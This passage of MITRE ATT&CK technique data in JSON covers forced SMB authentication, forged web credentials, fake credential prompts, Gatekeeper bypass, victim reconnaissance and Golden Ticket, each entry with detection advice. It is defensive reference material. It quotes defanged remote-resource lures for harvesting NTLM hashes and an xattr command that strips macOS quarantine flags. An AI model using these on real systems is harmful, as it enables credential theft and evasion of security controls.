credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Teodor Cimpoesu", + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "x_mitre_detection": "Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1187", + "external_id": "T1187", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Server Message Block", + "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.", + "url": "https://en.wikipedia.org/wiki/Server_Message_Block" + }, + { + "source_name": "Didier Stevens WebDAV Traffic", + "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.", + "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/" + }, + { + "source_name": "Microsoft Managing WebDAV Security", + "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.", + "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx" + }, + { + "source_name": "GitHub Hashjacking", + "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.", + "url": "https://github.com/hob0/hashjacking" + }, + { + "source_name": "Cylance Redirect to SMB", + "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf" + }, + { + "source_name": "Osanda Stealing NetNTLM Hashes", + "description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.", + "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Forge Web Credentials", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Web Credential: Web Credential Creation", + "Web Credential: Web Credential Usage" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-12T14:26:52.179Z", + "created": "2020-12-17T02:13:46.247Z", + "x_mitre_platforms": [ + "SaaS", + "Windows", + "macOS", + "Linux", + "Azure AD", + "Office 365", + "Google Workspace", + "IaaS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1606", + "external_id": "T1606", + "source_name": "mitre-attack" + }, + { + "url": "https://github.com/damianh/aws-adfs-credential-generator", + "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020.", + "source_name": "GitHub AWS-ADFS-Credential-Generator" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "source_name": "Unit 42 Mac Crypto Cookies January 2019" + }, + { + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "source_name": "Microsoft SolarWinds Customer Guidance" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "GUI Input Capture", + "x_mitre_data_sources": [ + "Script: Script Execution", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-24T18:21:07.926Z", + "created": "2020-02-11T18:58:45.908Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", + "x_mitre_platforms": [ + "macOS", + "Windows", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ", + "x_mitre_contributors": [ + "Matthew Molyett, @s1air, Cisco Talos" + ], + "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1056/002", + "external_id": "T1056.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/659.html", + "external_id": "CAPEC-659", + "source_name": "capec" + }, + { + "source_name": "OSX Malware Exploits MacKeeper", + "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.", + "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" + }, + { + "url": "https://logrhythm.com/blog/do-you-trust-your-computer/", + "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.", + "source_name": "LogRhythm Do You Trust Oct 2014" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "url": "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/", + "description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.", + "source_name": "Spoofing credential dialogs" + }, + { + "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/", + "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.", + "source_name": "Enigma Phishing for Credentials Jan 2015" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-05T16:23:01.683Z", + "name": "Gatekeeper Bypass", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1144", + "external_id": "T1144", + "source_name": "mitre-attack" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Clearing quarantine attribute", + "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.", + "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/" + }, + { + "source_name": "OceanLotus for OS X", + "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", + "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + }, + { + "source_name": "Bypassing Gatekeeper", + "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Gatekeeper Bypass", + "x_mitre_data_sources": [ + "File: File Metadata", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-14T21:18:30.629Z", + "created": "2020-02-05T16:16:08.471Z", + "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\n\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\n\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \n\nReview false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1553/001", + "external_id": "T1553.001", + "source_name": "mitre-attack" + }, + { + "url": "https://eclecticlight.co/2020/08/28/how-notarization-works/", + "description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.", + "source_name": "TheEclecticLightCompany apple notarization " + }, + { + "source_name": "Bypassing Gatekeeper", + "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/" + }, + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + }, + { + "url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/", + "description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.", + "source_name": "TheEclecticLightCompany Quarantine and the flag" + }, + { + "url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/", + "description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.", + "source_name": "theevilbit gatekeeper bypass 2021" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Clearing quarantine attribute", + "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.", + "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/" + }, + { + "source_name": "OceanLotus for OS X", + "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", + "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Gather Victim Host Information", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:35:09.878Z", + "created": "2020-10-02T16:39:33.966Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f", + "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1592", + "external_id": "T1592", + "source_name": "mitre-attack" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "source_name": "ATT ScanBox" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-15T03:27:49.579Z", + "name": "Gather Victim Identity Information", + "x_mitre_version": "1.0", + "created": "2020-10-02T14:54:59.263Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4", + "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1589", + "external_id": "T1589", + "source_name": "mitre-attack" + }, + { + "url": "https://www.opm.gov/cybersecurity/cybersecurity-incidents/", + "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.", + "source_name": "OPM Leak" + }, + { + "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/", + "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.", + "source_name": "Register Deloitte" + }, + { + "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/", + "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.", + "source_name": "Register Uber" + }, + { + "url": "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/", + "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.", + "source_name": "Detectify Slack Tokens" + }, + { + "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196", + "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.", + "source_name": "Forbes GitHub Creds" + }, + { + "url": "https://github.com/dxa4481/truffleHog", + "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.", + "source_name": "GitHub truffleHog" + }, + { + "url": "https://github.com/michenriksen/gitrob", + "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.", + "source_name": "GitHub Gitrob" + }, + { + "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/", + "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", + "source_name": "CNET Leaks" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-15T03:34:23.229Z", + "name": "Gather Victim Network Information", + "x_mitre_version": "1.0", + "created": "2020-10-02T15:45:17.628Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", + "description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1590", + "external_id": "T1590", + "source_name": "mitre-attack" + }, + { + "url": "https://www.whois.net/", + "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.", + "source_name": "WHOIS" + }, + { + "url": "https://dnsdumpster.com/", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "source_name": "DNS Dumpster" + }, + { + "url": "https://www.circl.lu/services/passive-dns/", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "source_name": "Circl Passive DNS" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Gather Victim Org Information", + "x_mitre_version": "1.1", + "modified": "2021-08-27T15:37:09.343Z", + "created": "2020-10-02T16:27:02.339Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23", + "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1591", + "external_id": "T1591", + "source_name": "mitre-attack" + }, + { + "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/", + "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", + "source_name": "ThreatPost Broadvoice Leak" + }, + { + "url": "https://www.sec.gov/edgar/search-and-access", + "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.", + "source_name": "SEC EDGAR Search" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Golden Ticket", + "x_mitre_data_sources": [ + "Active Directory: Active Directory Credential Request", + "Logon Session: Logon Session Metadata" + ], + "x_mitre_version": "1.1", + "modified": "2020-11-05T16:07:03.779Z", + "created": "2020-02-11T19:13:33.643Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing 